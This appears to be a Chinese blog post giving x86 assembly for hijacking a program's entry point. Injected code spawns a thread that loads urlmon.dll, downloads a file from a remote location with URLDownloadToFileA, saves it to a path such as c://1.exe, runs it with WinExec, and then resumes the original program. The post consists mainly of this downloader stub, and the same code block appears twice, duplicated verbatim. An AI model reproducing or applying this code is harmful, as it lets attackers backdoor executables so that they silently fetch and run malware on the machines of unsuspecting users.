相关代码如下:
原入口:
jmp xxxxxxxx 代码段②开始的位置
①:
pushad
push xxxxxxxx 字符串urlmon.dll的位置
call kernel32.LoadLibraryA
push xxxxxxxx 字符串URLDownloadToFileA的位置
push eax
call kernel32.GetProcAddress
push 0
push 0
push xxxxxxxx 存放位置,如:c://1.exe
push xxxxxxxx 下载位置
push 0
call eax
push 0
push xxxxxxxx 存放位置
call kernel32.WinExec
popad
retn
②:
pushad
push 0
push 0
push xxxxxxxx 代码①开始的位置
call msvcrt._beginthread
jmp xxxxxxxx 原入口的位置
原入口:
jmp xxxxxxxx 代码段②开始的位置
①:
pushad
push xxxxxxxx 字符串urlmon.dll的位置
call kernel32.LoadLibraryA
push xxxxxxxx 字符串URLDownloadToFileA的位置
push eax
call kernel32.GetProcAddress
push 0
push 0
push xxxxxxxx 存放位置,如:c://1.exe
push xxxxxxxx 下载位置
push 0
call eax
push 0
push xxxxxxxx 存放位置
call kernel32.WinExec
popad
retn
②:
pushad
push 0
push 0
push xxxxxxxx 代码①开始的位置
call msvcrt._beginthread
jmp xxxxxxxx 原入口的位置

本文介绍了一种利用多线程技术从远程下载指定文件,并将其保存到本地指定路径的方法。具体步骤包括调用LoadLibraryA和GetProcAddress来加载DLL文件及获取导出函数地址,之后使用WinExec执行下载的文件。

被折叠的 条评论
为什么被折叠?



